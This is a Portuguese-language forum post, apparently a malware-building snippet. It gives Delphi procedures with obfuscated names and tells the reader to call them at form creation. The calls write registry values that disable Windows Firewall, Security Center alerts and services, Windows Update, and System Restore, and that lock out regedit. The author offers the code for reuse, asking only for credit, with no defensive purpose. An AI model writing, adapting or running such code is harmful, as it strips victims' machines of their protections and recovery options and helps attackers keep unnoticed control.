Código:
Primeiro coloque isto na source: Procedure alrghklc(Path, Param, Valor, Tipo : String); var Reg: TRegistry; begin Reg := TRegistry.Create; Tipo:= uppercase(Tipo); try Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey(Path, true); If Tipo='INT' then Reg.WriteInteger(Param, StrToInt(Valor) ); finally Reg.Free; end; end; Procedure alrghkcu(Path, Param, Valor, Tipo : String); var Reg: TRegistry; begin Reg := TRegistry.Create; Tipo:= uppercase(Tipo); try Reg.RootKey := HKEY_CURRENT_USER; Reg.OpenKey(Path, true); If Tipo='INT' then Reg.WriteInteger(Param, StrToInt(Valor) ); finally Reg.Free; end; end;
Agora no FormCreate ou aonde você quiser que ocorra tudo, coloque isto:
Código:
alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile','DisableNotifications', '1', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile','EnableFirewall', '0', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile','DoNotAllowExceptions', '0', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile','DisableNotifications', '1', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile','EnableFirewall', '0', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile','DoNotAllowExceptions', '0', 'INT'); alrghklc( 'Software\Microsoft\Security Center','AntiVirusDisableNotify', '0', 'INT'); alrghklc( 'Software\Microsoft\Security Center','FirewallDisableNotify', '0', 'INT'); alrghklc( 'Software\Microsoft\Security Center','UpdatesDisableNotify', '0', 'INT'); alrghklc( 'Software\Microsoft\Security Center','AntiVirusOverride', '0', 'INT'); alrghklc( 'Software\Microsoft\Security Center','FirewallOverride', '0', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\wscsvc','Start', '4', 'INT'); alrghklc( 'SYSTEM\CurrentControlSet\Services\wuauserv','Start', '4', 'INT'); alrghklc( 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update','AUState', '7', 'INT'); alrghklc( 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update','AUOptions', '1', 'INT'); alrghklc( 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update','AUOptions', '1', 'INT'); alrghklc( 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore','DisableSR', '1', 'INT'); alrghkcu( 'Software\Policies\Microsoft\Windows\WindowsUpdate\AU','NoAutoUpdate', '1', 'INT'); alrghkcu( 'Software\Policies\Microsoft\Windows\WindowsUpdate\AU','AUOptions', '1', 'INT'); alrghkcu( 'Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate','DisableWindowsUpdateAccess', '1', 'INT'); alrghkcu( 'Software\Microsoft\Windows\CurrentVersion\Policies\System','DisableRegistryTools', '1', 'INT');
ATENÇÃO: Ao usar o código alrghkcu( 'Software\Microsoft\Windows\CurrentVersion\Policie s\System','DisableRegistryTools', '1', 'INT'); você não permite que o registro seja mudado pelo regedit!!! Para deixar que seja mudado, troque o 1 por 0, ficando assim:
alrghkcu( 'Software\Microsoft\Windows\CurrentVersion\Policie s\System','DisableRegistryTools', '0', 'INT');
Créditos: Antharaz
Se for copiar coloque os créditos ¬¬
Comment